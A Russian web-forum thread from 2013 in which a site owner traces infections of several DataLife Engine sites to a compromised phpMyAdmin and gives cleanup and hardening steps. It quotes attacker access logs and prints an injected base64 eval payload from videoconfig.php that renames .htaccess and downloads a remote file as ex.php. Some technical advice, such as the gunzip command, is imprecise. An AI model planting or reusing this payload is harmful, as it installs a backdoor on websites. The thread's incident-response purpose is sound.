оявление постороннего кода в новостях DLE

P1
На сайте с 19.09.2013
Offline
1
#111

Часть I.

Итак, периодически посещаю этот форум, но никогда не регился тут, т.к. не было необходимости, но почитав данную тему и т.к. она затронула и меня тоже, решил разобраться в корне с этой проблемой.

Сидел копался всю ночь до утра, и в итоге нашел дыру, перелопатил каждый файл. Т.к. сайтов не мало на моем сервере, то задача усложнилась, почти все сайты на DLE и некоторые из них, а это 5 сайтов были заражены этой хренью.

Возьму небольшое отступление...

В то время, как основная масса людей спит и работает, занимается своими делами, другая небольшая масса людей занимается вредительством, а точнее упорно устраивает мозговые атаки самому себе в плане поиска уязвимостей сайтов, ПО серверов и т.д.

Когда-то сам этим занимался и знаю, что это занимает не мало времени. Грубо говоря, эти люди сидят сутками, ищут "дырки" методом "тыка", подстановки разных "переменных" как в многопользовательских известных движках, так и на стороне программного обеспечения серверов. Поэтому всегда выпускаются обновления для скриптов и ПО. Чем сложнее ПО, движок и т.д., тем больше вероятности существования в нем дыр. Бывает, что вроде как уже вот вышла стабильная версия того или иного скрипта, но все равно рано или поздно, в нем найдут лазейку.

Поэтому исходя из личного опыта, советую всем следить за обновлениями ПО серверов, это касается тех, у кого выделенные сервера и vps/vds, а также ставить вовремя патчи для своих движков, т.к. время идет быстро и хакеры не сидят сложа руки. Бородатые хакеры )))

Очень много людей такого мнения насчет обновлений, что не хотят ставить свежую версию того или иного ПО, т.к. им не нравится нововведения и всякие другие переделанные мелочи. Так вот, это очень ошибочное мнение, нравится вам или нет, но обновляться нужно, т.к. там не только новые вещи придумывают, но также устраняют уязвимости/недостатки. Не получится сидеть на понравившейся вам версии ПО долго, т.к. наука шагает в ногу со временем и придется подстраиваться под нее.

Как говорится, не спи на посту! Забил на свои сайты, пустил всё на самотек - враг уже на базе у тебя ;)

Фуф... вроде закончил :D

Перехожу к основной части моего поста.

Тут вроде как многие спрашивали, неужели никто не знает в чем проблема, где дыра, откуда лезут?

Сразу скажу, что проблема вовсе не DLE, хотя и в 10-ой версии найдутся дыры однозначно. И смена паролей от фтп, сервера, баз данных, чистка кэша - не спасет!

Тут вроде некоторые писали, что смотрели логи, но в итоге ничего толком не нашли. Значит плохо смотрели!

К примеру у меня логи ведутся каждый день, подробные. И сами понимаете, что ковырять длинный лог файл не так то просто, быстро устаешь и главное случайно не пропустить одну строчку, в которой всё и будет написано. Ковырял те логи, на сайтах, которые пострадали.

Глаза закрывались уже, сидел как робот, но всё же нашел, что искал.

Смотрим итог (на всех 5 сайтах это было один в один, все эти сайты на DLE):

1. Попытка подборки урлов для проведения дальнейшей атаки.

142.161.76.104 - - [18/Sep/2013:17:39:02 +0400] "GET /wp-login.php HTTP/1.0" 301 320 "-" "Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0"
142.161.76.104 - - [18/Sep/2013:17:39:02 +0400] "GET /administrator/index.php HTTP/1.0" 301 331 "-" "Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0"
142.161.76.104 - - [18/Sep/2013:17:39:03 +0400] "GET /admin.php HTTP/1.0" 301 317 "-" "Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0"

93.74.161.160 - - [17/Sep/2013:18:30:42 +0400] "POST /index.php HTTP/1.0" 301 317 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
93.74.161.160 - - [17/Sep/2013:18:30:43 +0400] "POST /index.php HTTP/1.0" 200 16599 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
93.74.161.160 - - [17/Sep/2013:18:30:43 +0400] "POST /engine/modules/iChat/ajax/add.php HTTP/1.0" 301 341 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"
93.74.161.160 - - [17/Sep/2013:18:30:44 +0400] "POST /engine/modules/iChat/ajax/add.php HTTP/1.0" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"

Непонятно стало, зачем искали адрес engine/modules/iChat/ajax/add.php, у меня такого ни на одном сайте нет, но видимо попытка непытка, метод "тыка" рулит.

2. А теперь главное! (не буду палить свои сайты, вместо них вставил "мой_сайт.ru")

91.189.181.119 - - [18/Sep/2013:01:09:08 +0400] "GET /myadmin/ HTTP/1.1" 200 7103 "http:/мой_сайт.ru/myadmin/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
91.189.181.119 - - [18/Sep/2013:01:09:09 +0400] "POST /myadmin/ HTTP/1.1" 302 - "http://мой_сайт.ru/myadmin/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
91.189.181.119 - - [18/Sep/2013:01:09:10 +0400] "GET /myadmin/index.php?token=79db4f7c0d251c3f07db0c37672a7382 HTTP/1.1" 200 2584 "http://мой_сайт.ru/myadmin/index.php?token=79db4f7c0d251c3f07db0c37672a7382" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
91.189.181.119 - - [18/Sep/2013:01:09:10 +0400] "POST /myadmin/export.php HTTP/1.1" 200 74 "http://мой_сайт.ru/myadmin/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
91.189.181.119 - - [18/Sep/2013:01:09:13 +0400] "POST /myadmin/export.php HTTP/1.1" 200 723 "http://мой_сайт.ru/myadmin/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
91.189.181.119 - - [18/Sep/2013:01:09:14 +0400] "POST /myadmin/export.php HTTP/1.1" 200 689 "http://мой_сайт.ru/myadmin/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
91.189.181.119 - - [18/Sep/2013:01:09:15 +0400] "POST /myadmin/export.php HTTP/1.1" 200 596 "http://мой_сайт.ru/myadmin/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
91.189.181.119 - - [18/Sep/2013:01:09:17 +0400] "POST /myadmin/export.php HTTP/1.1" 200 569 "http://мой_сайт.ru/myadmin/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
91.189.181.119 - - [18/Sep/2013:01:09:18 +0400] "POST /myadmin/export.php HTTP/1.1" 200 32 "http://мой_сайт.ru/myadmin/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
91.189.181.119 - - [18/Sep/2013:01:09:19 +0400] "POST /myadmin/export.php HTTP/1.1" 200 14 "http://мой_сайт.ru/myadmin/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
91.189.181.119 - - [18/Sep/2013:01:09:20 +0400] "POST /myadmin/export.php HTTP/1.1" 200 32 "http://мой_сайт.ru/myadmin/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
91.189.181.119 - - [18/Sep/2013:01:09:21 +0400] "POST /myadmin/export.php HTTP/1.1" 200 14 "http://мой_сайт.ru/myadmin/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
91.189.181.119 - - [18/Sep/2013:01:09:23 +0400] "POST /myadmin/export.php HTTP/1.1" 200 32 "http://мой_сайт.ru/myadmin/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
91.189.181.119 - - [18/Sep/2013:01:09:24 +0400] "POST /myadmin/export.php HTTP/1.1" 200 14 "http://мой_сайт.ru/myadmin/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"

3. Затем на закуску это:

91.235.129.224 - - [18/Sep/2013:14:57:47 +0400] "GET / HTTP/1.0" 200 1057 "\xec\xee\xe1\xe8\xeb\xfc\xed\xe0\xff \xe2\xe5\xf0\xf1\xe8\xff ternopilgirls.com" "Opera/9.80 (Windows NT 6.1; WOW64; U; MRA 8.0 (build 5880); ru) Presto/2.10.289 Version/12.02"

4. И еще кое-что, не из логов. Обнаружил на одном из сайтов в файле videoconfig.php:

<?PHP 

//Videoplayers Configurations

$video_config = array (

'width' => "asdf\",

'height' => ".eval(base64_decode(cmVuYW1lKCIuaHRhY2Nlc3MiLCIxLmh0YWNjIik7CmNvcHkoImh0dHA6Ly9uZXZhLWNpdHkucnUvZW5naW5lL2RhdGEvZW1vdGljb25zL2V4LnR4dCIsImV4LnBocCIpOyAg)),//",

'play' => "false",

Эвал эвал, родной эвал, многие его боятся кстати, утверждая что он открывает доступ ко всему. Это не совсем так, если эвал прописан правильно:

eval (' ?' . '>' . $tpl->result['main'] . '<' . '?php ');

то в этом случае ничего не случится.

В случае файла видеоконфиг.php вызов эвала заключается в том, чтобы динамически включить новый код в существующий.

А точнее, перевожу содержимое видеоконфига в значении height:

'height' => ".eval rename(".htaccess","1.htacc"); copy("http://neva-city.ru/engine/data/emoticons/ex.txt","ex.php");,//"

Подведем итоги.

Не скажу 100% уверенно, что после этого "черная дыра" закроется и всё вылечится, но по крайней мере должно помочь многим. Мне пока помогло, а дальше будем следить за развитием событий.

Как уже поняли более менее опытные пользователи, проблема именно в ПМА (пмс блин :D), т.е. phpmyadmin

Грубо говоря, ПМА поимели, зашли и скачали то, что им нужно, отредактировали.

У многих он стоит, и у тех, у кого выделенные сервера и у тех, у кого общественные сервера (обычный хостинг). На данный момент у меня стояла версия ПМА 3.5.3, т.к. она была более менее стабильной. Сейчас же существует 4-ая линейка ПМА. Срочно всем советую переходить на нее, обновляйтесь!

Продолжение во второй части, т.к. всё не уместилось в один пост...

P1
На сайте с 19.09.2013
Offline
1
#112

Часть II.

Решение проблемы, ставим заплатку:

1. Если у Вас свой сервер, удаляем старый ПМА, ставим новый, либо делаем update ПМА на 4-ую линейку. Если у Вас обычный хостинг, то пишите вашему хостеру с просьбой проапдейтить ПМА до 4-ой версии в срочном порядке.

2. Переименовать на сервере стандартное название myadmin во что-нибудь другое, перезапустить апач, потом радоваться.

Пример:

http://мой_сайт.ru/myadmin/ - стандарт

http://мой_сайт.ru/hren_vam_a_ne_pma/ - исправленный вариант

3. В ПМА есть такая проблема еще изначально, что сразу после установки и настройки ПМА, открывается прямая уязвимость, это папка "setup" и файл "Documentation.html". Сразу после обновления ПМА в срочном порядке переименуйте папку setup в любое другое название, а файл Documentation.html либо также переименуйте в любое название, либо удалите его вобще, т.к. он вобщем-то не нужен. Эта папка и файл доступны для простого набора в адресе урла, где можно будет с помощью них попасть в другие разделы, а также полностью сломать ПМА.

4. А вот уже теперь меняете все пароли от:

- фтп;

- самого сервера;

- самой базы mysql, mysqli (если он у Вас стоит);

- от всех созданных пользователей для БД, т.к. у некоторых может быть не один пользователь для БД, а несколько;

- удаляете вручную вредоносные строчки со <script>, <iframe> или <object> в новостях, либо на автомате выполнив в админке DLE функцию "поиск и замена";

- чистите кэш дле.

5. Как всё закончили, не забудьте проверить файл /engine/data/videoconfig.php на всякий случай, нет ли там вредоносных строк.

6. Также как решение проблемы с пма, можно просто его удалить на сервере, если часто им не пользуетесь, либо на время отключить его.

Я всегда знал, что многие ПО на сервере не стабильны и есть уязвимости, особенно в пма (т.к. сколько его знаю с 1-ой версии всю жизнь он был дырявый), но как говорится, пока пожар не начнется...

Надеюсь мой пост поможет многим решить эту эпопею :)

Schmied
На сайте с 19.09.2013
Offline
14
#113

Palad1n, спасибо за ценную информацию и интересные размышления.

постарался выполнить рекомендации для своего VPS, но столкнулся с некоторыми проблемами. пришлось даже зарегистрироваться на этом форуме, чтобы задать Вам несколько вопросов.

1. итак, первой проблемой стало то, что phpMyAdmin упорно НЕ желает обновляться до 4-ой линейки. пробовал несколькими способами, но удалось обновиться лишь до 3.5.8 :(

подскажите, скаких репозиториев должен качаться дистрибутив свежей версии 4.0.6?

2. вопрос по поводу изменения пути доступа. не совсем понял, где это менять... попробовал в файле конфигурации, что лежит в папке usr/share/phpMyAdmin, но после перезапуска Апача по прежнему по запросу http://сайт.ru/myadmin открывается страница входа....

может я не там меняю? в общем, хотелось немного конкретнее разяснить для не очень опытных в этом деле, вроде меня.

---

вот такие вопросы. буду рад услышать информативный ответ на них... думаю, не только мне пригодится данное разъяснение...

P1
На сайте с 19.09.2013
Offline
1
#114

Schmied, благодарство принято :)

1. Не ставится больше 3.5.8 версии потому что в репозитории на вашем сервере просто нету пма свежее, чем 3.5.8.

Для начала необходимо зайти на сайт пма русской поддержки: php-myadmin.ru/download/

Там Вы найдете версию пма 4.0.6 (русс. язык)

На данный момент это стабильная версия пма.

Либо зайдите на офиц. сайт пма: phpmyadmin.net

Наверху слева будет кнопка скачать 4.0.6 (англ. язык)

Затем просто залейте к себе на серв в любое место и ставьте спокойно пма. Только не забудьте, что перед установкой 4-ой версии лучше удалить подчистую старую версию вашу 3.5.8, во избежание дальнейших конфликтов.

2. Насчет переименования.

Нужно сначала зайти сюда: /etc/httpd/conf.d/phpMyAdmin.conf

Затем в этом файле найти строку: Alias /phpmyadmin /usr/share/phpMyAdmin

заменить на:

Alias /свое_имя /usr/share/phpMyAdmin/

Потом перезапускаете апач и должно все заработать.

Если у Вас установлен ISP manager, то нужно будет и в нем тоже внести изменение.

Еще как вариант можно закрыть доступ к директории пма, тогда он не будет работать по набранному адресу... А когда нужно будет им воспользоваться, на время открываете доступ к директории и всё.

Schmied
На сайте с 19.09.2013
Offline
14
#115

хочу уточнить по установке: заливаем дистрибутив в любое место, а потом процедура аналогичная через SSH? установщик сам найдёт свежую версию на сайте или как?

2. - перечисленные действия дополнительные и кроме этого ничего менять больше не нужно?

- а где в ISP Manager вносить изменения?

---------- Добавлено 20.09.2013 в 12:58 ----------

ещё спросить хотел, заливать на сервер прямо архивом или распакованные файлы? если архивом, то какой выбирать?

P1
На сайте с 19.09.2013
Offline
1
#116

1. Да, заливаете в любое место. Распаковываете его с помощью консоля команд.

Установщик не будет ничего искать, Вы немного не поняли. Я вам дал адреса офиц. сайтов поддержки пма, Вы же с них уже скачаете свежую последнюю версию и ее потом зальете на сервер, после чего просто устанавливаете его. Это и будет последняя версия.

Скаченный вами дистрибутив с офиц. сайта русской поддержки это и есть свежая версия и установщик берет файлы из этого дистрибутива.

Заливать прямо архивом. Выбирайте архив с раширением .tar.gz

В консоле прописываете команду: gunzip -c имя_файла.tar.gz

После установки апач перезапустите.

2. Да, действия дополнительные. Не нужно. Я то же самое себе делал.

В ISP нужно открыть конфиг. файл: /usr/local/ispmgr/etc/ispmgr.conf

затем найти там строчки со словом extaction, после этих строчек добавить эту:

extaction myadmin /свое_имя/

Затем в консоле пишете: killall ispmgr

Потом перезаходите в ISP, либо просто обновите страничку, если Вы будете сидеть в этот момент уже в нем.

Schmied
На сайте с 19.09.2013
Offline
14
#117

Palad1n, а после раскаковки как устанавливать? какие команды в консоли нужно вводить? извиняюсь за приставучесть, уж очень неохота напортачить... :(

siv1987
На сайте с 02.04.2009
Offline
427
#118
Palad1n:
Эвал эвал, родной эвал, многие его боятся кстати, утверждая что он открывает доступ ко всему. Это не совсем так, если эвал прописан правильно:

гы-гы, а "правильно" это как? Для дле это потенциальная дыра, как его на прописывай.

P1
На сайте с 19.09.2013
Offline
1
#119

Schmied, на офиц. сайте русс. поддержки есть документация по установке пма. Почитайте там, а лучше попросите кого-нибудь опытного вам поставить, либо своего хостера, чтобы не допустить ошибки.

siv1987, я привел пример правильности. Насчет потенциальности не согласен, всё зависит от знаний человека.

B
На сайте с 15.01.2011
Offline
37
#120

Если дыра в ПМА - то почему все стонут только с DLE?

куку

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий